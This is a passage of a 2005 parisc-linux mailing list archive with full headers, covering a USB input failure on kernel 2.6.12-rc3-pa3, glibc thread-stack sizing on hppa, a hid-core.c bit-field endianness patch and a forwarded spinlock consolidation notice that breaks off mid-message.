MTAwCkBAIC01MzQsNyArNTM0LDcgQEAKIAl9CiAJcmV0dXJuIHJjOwogfQotDAorCiAvKgogICog
PT09PT09PT09PT09PT09PQogICogPSBkZnhfYnVzX2luaXQgPQpAQCAtODU3LDYgKzg1Nyw3IEBA
CiAJCSAgICAgICBwcmludF9uYW1lKTsKIAkJcmV0dXJuKERGWF9LX0ZBSUxVUkUpOwogCX0KKwlk
YXRhID0gY3B1X3RvX2xlMzIoZGF0YSk7CiAJbWVtY3B5KCZicC0+ZmFjdG9yeV9tYWNfYWRkclsw
XSwgJmRhdGEsIHNpemVvZih1MzIpKTsKIAogCWlmIChkZnhfaHdfcG9ydF9jdHJsX3JlcShicCwg
UElfUENUUkxfTV9NTEEsIFBJX1BEQVRBX0FfTUxBX0tfSEksIDAsCkBAIC04NjUsNiArODY2LDcg
QEAKIAkJICAgICAgIHByaW50X25hbWUpOwogCQlyZXR1cm4oREZYX0tfRkFJTFVSRSk7CiAJfQor
CWRhdGEgPSBjcHVfdG9fbGUzMihkYXRhKTsKIAltZW1jcHkoJmJwLT5mYWN0b3J5X21hY19hZGRy
WzRdLCAmZGF0YSwgc2l6ZW9mKHUxNikpOwogCiAJLyoKQEAgLTM0MzMsNyArMzQzNSwxMSBAQAog
CXJjX3BjaSA9IHBjaV9tb2R1bGVfaW5pdCgmZGZ4X2RyaXZlcik7CiAJaWYgKHJjX3BjaSA+PSAw
KSBkZnhfaGF2ZV9wY2kgPSAxOwogCQorI2lmZGVmIENPTkZJR19FSVNBCiAJcmNfZWlzYSA9IGRm
eF9laXNhX2luaXQoKTsKKyNlbHNlCisJcmNfZWlzYSA9IC0xOworI2VuZGlmCiAJaWYgKHJjX2Vp
c2EgPj0gMCkgZGZ4X2hhdmVfZWlzYSA9IDE7CiAKIAlyZXR1cm4gKChyY19laXNhIDwgMCkgPyAw
IDogcmNfZWlzYSkgICsgKChyY19wY2kgPCAwKSA/IDAgOiByY19wY2kpOyAK
------=_Part_2008_17805546.1113259495646
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_2008_17805546.1113259495646--



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.12-rc3-pa3 usb keyboard and mouse don't respond
Date: Mon, 9 May 2005 16:18:35 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <e6eae0290505090818fe14a54@mail.gmail.com>
References: <200505081623.j48GNoF4003723@hiauly1.hia.nrc.ca>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624538 26741 80.91.229.3 (22 Nov 2014 02:48:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:58 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Linux/PA <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 May 2005 15:19:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 09 May 2005 17:19:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A408E7D637;
	Mon,  9 May 2005 09:18:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13728-07; Mon, 9 May 2005 09:18:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A84737D63A;
	Mon,  9 May 2005 09:18:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 240227D635
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 May 2005 09:18:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13728-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 May 2005 09:18:41 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B1D2D7D633
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 May 2005 09:18:41 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id B89E6495D21; Mon,  9 May 2005 09:18:36 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194])
	by palinux.hppa (Postfix) with ESMTP id 6F0F2495C91
	for <parisc-linux@parisc-linux.org>;
	Mon,  9 May 2005 09:18:36 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id 58so1835287wri
	for <parisc-linux@parisc-linux.org>;
	Mon, 09 May 2005 08:18:35 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=NYu/i9rQAdm7enq/d9VksqwPrX6UJUvQdmg2bxkwINTN2442jTyyOJJ1xthUEWR+jRfsd2eC+Y6iwBtF97r0FjDdiVnf4e1U7FZmqwMGwQDIE649k5MXX+gRVcw1rUJtnW0ZjF/cjgCwLwgXv/IyRyZHD2YZDUY5C4c8JbTFif4=
Original-Received: by 10.54.49.17 with SMTP id w17mr2616178wrw;
	Mon, 09 May 2005 08:18:35 -0700 (PDT)
Original-Received: by 10.54.57.13 with HTTP; Mon, 9 May 2005 08:18:35 -0700 (PDT)
In-Reply-To: <200505081623.j48GNoF4003723@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LRoNYmgLeSEkQL6WZHQhaXN1IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25115

On 5/8/05, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> I tried 2.6.12-rc3-pa3 yesterday but the console keyboard and mouse
> (usb) didn't respond after X came up.  I couldn't see any difference
> in the log files between this version and 2.6.11-pa4.  2.6.11-pa4
> boots ok.  Is this a known problem?

I also discovered that about a week ago, but failed to post a report on=20
the m-l (just mentioned it on IRC). On my c3700 the USB keyboard=20
actually seems to work somewhat (using 2.6.12-rc3-rc2), eg. if I switch=20
to the fbcon; however I can't enter anything in X/xdm, because the text
field is not selected and the USB mouse is not working.

I haven't tried any 64bit kernels lately, so I can't tell whether there
is an issue aswell ...

BTW, 2.6.11-pa4 is also working fine here.


Greetings,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc hppa build failure - ulimit
Date: Fri, 13 May 2005 18:45:35 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20050513174535.GH10567__49741.1771597855$1416624538$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20050513161718.GA9620@nevyn.them.org> <20050513163833.GG10567@parcelfarce.linux.theplanet.co.uk> <20050513172148.GA12680@nevyn.them.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624538 26746 80.91.229.3 (22 Nov 2014 02:48:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: debian-admin@lists.debian.org,
 debian-glibc@lists.debian.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2005 18:06:32 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx067) with SMTP; 13 May 2005 20:06:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 7FF322E6D3; Fri, 13 May 2005 13:06:27 -0500 (CDT)
Old-Return-Path: <willy@www.linux.org.uk>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from parcelfarce.linux.theplanet.co.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by murphy.debian.org (Postfix) with ESMTP id 14CDD2DE4D;
	Fri, 13 May 2005 12:45:20 -0500 (CDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim 4.43)
	id 1DWeEB-0006mk-9M; Fri, 13 May 2005 18:45:35 +0100
Content-Disposition: inline
In-Reply-To: <20050513172148.GA12680@nevyn.them.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-Rc-Spam: 2005-03-31_01
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_02_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.8 required=4.0 tests=AWL,IMPRONONCABLE_1,
	MURPHY_DRUGS_REL8,MURPHY_WRONG_WORD1,MURPHY_WRONG_WORD2 autolearn=no 
	version=2.63-lists.debian.org_2005_05_02_01
Resent-Message-ID: <8KgGoC.A.swE.jyOhCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4445
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 13 May 2005 13:06:27 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: /4n2YtpqeSEkMb6WZHQhaXN1IGRvb0Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25116

On Fri, May 13, 2005 at 01:21:48PM -0400, Daniel Jacobowitz wrote:
> On Fri, May 13, 2005 at 05:38:33PM +0100, Matthew Wilcox wrote:
> > On Fri, May 13, 2005 at 12:17:18PM -0400, Daniel Jacobowitz wrote:
> > > 27319 mmap(NULL, 1073741824, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 <unfinished ...>
> > > 27319 <... mmap resumed> )              = -1 ENOMEM (Cannot allocate memory)
> > > 
> > > Right now I don't think we could even rebuild glibc -21.  The hppa
> > > machines are configured with ulimit -s set to 1GB.  This makes
> > > LinuxThreads use 1GB thread stacks.  Which is, um, pretty bad.
> > 
> > PA machines grow the stack upwards, starting at 0xffffffff - hard
> > stack limit.  glibc never used to pay attention to the stack limit,
> > choosing always to use 4MB stacks (iirc).  When did glibc change that?
> 
> Probably when Carlos added a patch to glibc which defined
> FLOATING_STACKS.  Glibc throttles the size to 8MB if the rlimit is
> infinity, but trusts the rlimit if it is explicitly larger than 8MB.

Ugh.  Can we change the logic there to throttle to 8MB if the rlimit is
larger than 1GB and we're building a 32-bit libc?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] usb/input/hid-core.c extract() brain damage
Date: Thu, 2 Jun 2005 15:35:19 -0600
Lines: 121
Approved: news@gmane.org
Message-ID: <20050602213519.GA18164__7667.71121784604$1416624539$gmane$org@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624539 26747 80.91.229.3 (22 Nov 2014 02:48:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:59 +0000 (UTC)
Cc: Kyle McMartin <kyle@there.is.no.cabal.ca>,
 parisc-linux@parisc-linux.org
To: linux-usb-devel@lists.sourceforge.net
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 14:16:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 03 Jun 2005 16:16:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0E947D642;
	Fri,  3 Jun 2005 08:16:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05946-09; Fri, 3 Jun 2005 08:16:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E67B67D692;
	Fri,  3 Jun 2005 08:16:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95D6C7D635
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Jun 2005 15:31:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30064-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Jun 2005 15:31:50 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1B59D7D630
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Jun 2005 15:31:50 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A17081751C3; Thu,  2 Jun 2005 15:31:49 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 5C3CF754F6
	for <parisc-linux@parisc-linux.org>;
	Thu,  2 Jun 2005 15:31:49 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F2AF029803C;
	Thu,  2 Jun 2005 15:35:20 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20310-04; Thu, 2 Jun 2005 15:35:19 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7CA92298010; Thu,  2 Jun 2005 15:35:19 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FQPSYmYIeSEkMb6WZHQhaXN1IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25117

Hi folks,,
extract() and implement() are bit field manipulation routines.
They mangle "n" bits starting at "offset" index into the bit field.
Since this is USB, the byte array is little endian.
Big endian machines (e.g. parisc, mips) should only need to
byte swap the value.

extract() and implement() have brain damaged attempts to handle
32-bit wide "fields".
The problem is the index math in the original code didn't clear all
the relevant bits.  (offset >> 5) only compensated for 32-bit index.
We need (offset >> 6) if we want to use 64-bit loads.

But it was also wrong in that it tried to use quasi-aligned loads.
Ie "report" was only incremented in multiples of 4 bytes and then
the offset was masked off for values greater than 4 bytes.
The right way is to pretend "report" points at a byte array.
And offset is then only minor adjustment for < 8 bits of offset.
"n" (field width) can then be as big as 24 (assuming 32-bit loads)
since "offset" will never be bigger than 7.

If someone needs either function to handle more than 24-bits,
please document why - point at a specification or specific USB
hid device - in comments in the code.

extract/implement() are also an eyesore to read.
Please banish whoever wrote it to read CodingStyle 3 times in a row
to a classroom full of 1st graders armed with rubberbands.
Or just flame them. Whatever. Globbing all the code together
on two lines does NOT make it faster and is Just Wrong.

Patch below fixes the above issues. Please apply.

I've tested this patch on j6000 (dual 750Mhz PA-RISC, 32-bit 2.6.12-rc5).
Kyle McMartin tested on c3000 (up 400Mhz PA-RISC, same kernel).
"p2-mate" (Peter De Schrijver?) tested on sb1250 (dual core Mips,
   broadcom "swarm" eval board).

c3000 and j6000 have (lspci output):
0000:00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560 IDE (rev 03)
0000:00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev 01)
0000:00:0e.2 USB Controller: National Semiconductor Corporation USB Controller (rev 02)

(87560 is also known as "SuckyIO" chip in parisc community)



Couple more general comments that belong in seperate patches:
o get_unaligned() and put_unaligned() are more or less obsolete.
  The kernel misaligned trap handler is expected to handle this
  for every arch that uses "asm-generic/unaligned.h".
  See "fgrep generic include/asm*/unaligned.h" output.

  Don't misunderstand, I prefer to see get_unaligned() but just
  want to point out it's not doing what people might assume it does.

  The networking stack has misaligned accesses that davem/jgarzik
  have refused to fixup with get_aligned() despite well documented
  performance reasons for doing so. So USB is not some odd exception. 

o "static inline" is preferred as per Documentation/SubmittingPatches.
  I'd be happy to submit a patch if someone isn't able
  to run "sed -e 's/__inline__/inline/'" over the code.

thanks,
grant

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

Index: drivers/usb/input/hid-core.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/usb/input/hid-core.c,v
retrieving revision 1.21
diff -u -p -r1.21 hid-core.c
--- drivers/usb/input/hid-core.c	22 Apr 2005 00:25:56 -0000	1.21
+++ drivers/usb/input/hid-core.c	2 Jun 2005 06:10:13 -0000
@@ -759,21 +759,31 @@ static __inline__ __u32 s32ton(__s32 val
 }
 
 /*
- * Extract/implement a data field from/to a report.
+ * Extract/implement a data field from/to a little endian report (bit array).
  */
 
 static __inline__ __u32 extract(__u8 *report, unsigned offset, unsigned n)
 {
-	report += (offset >> 5) << 2; offset &= 31;
-	return (le64_to_cpu(get_unaligned((__le64*)report)) >> offset) & ((1 << n) - 1);
+	u32 x;
+
+	report += offset >> 3;  /* adjust byte index */
+	offset &= 8 - 1;
+	x = get_unaligned((u32 *) report);
+	x = le32_to_cpu(x);
+	x = (x >> offset) & ((1 << n) - 1);
+	return x;
 }
 
 static __inline__ void implement(__u8 *report, unsigned offset, unsigned n, __u32 value)
 {
-	report += (offset >> 5) << 2; offset &= 31;
-	put_unaligned((get_unaligned((__le64*)report)
-		& cpu_to_le64(~((((__u64) 1 << n) - 1) << offset)))
-		| cpu_to_le64((__u64)value << offset), (__le64*)report);
+	u32 x;
+
+	report += offset >> 3;
+	offset &= 8 - 1;
+	x = get_unaligned((u32 *)report);
+	x &= cpu_to_le32(~((((__u32) 1 << n) - 1) << offset));
+	x |= cpu_to_le32(value << offset);
+	put_unaligned(x,(u32 *)report);
 }
 
 /*
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [mingo@elte.hu: [patch] spinlock consolidation, v2]
Date: Fri, 3 Jun 2005 18:31:32 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624539 26751 80.91.229.3 (22 Nov 2014 02:48:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 17:31:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 03 Jun 2005 19:31:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 343797D6A2;
	Fri,  3 Jun 2005 11:30:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07409-07; Fri, 3 Jun 2005 11:30:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 162B37D69B;
	Fri,  3 Jun 2005 11:30:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EC837D698
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 11:30:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07409-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Jun 2005 11:30:46 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 212FF7D697
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 11:30:46 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id C3A41175108; Fri,  3 Jun 2005 11:30:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by palinux.hppa (Postfix) with ESMTP id 5B1A0175107
	for <parisc-linux@parisc-linux.org>;
	Fri,  3 Jun 2005 11:30:45 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1DeG16-0004Cd-Db
	for parisc-linux@parisc-linux.org; Fri, 03 Jun 2005 18:31:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tPbSYix7eSEkfL6WZHQhaXN1IGRvb4Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25118


Anyone have time to test this out?

----- Forwarded message from Ingo Molnar <mingo@elte.hu> -----

Date:	Fri, 3 Jun 2005 17:40:29 +0200
From:	Ingo Molnar <mingo@elte.hu>
Subject: [patch] spinlock consolidation, v2

the latest version of the spinlock consolidation patch can be found at:

  http://redhat.com/~mingo/spinlock-patches/consolidate-spinlocks.patch

the patch is now complete in the sense that it does everything i wanted 
it to do. If you have any other suggestions (or i have missed to 
incorporate an earlier suggestion of yours), please yell.

Changes:

 - all architectures have been converted to the new spinlock code.
   arm, i386, ia64, ppc, ppc64, s390/s390x, x64 was build-tested via
   crosscompilers. Alpha, m32r, mips, parisc, sh, sparc, sparc64 has
   not been tested yet, but should be mostly fine. x86 and x64 was
   boot-tested in all relevant .config variations. It all brought a nice 
   reduction in source code size:

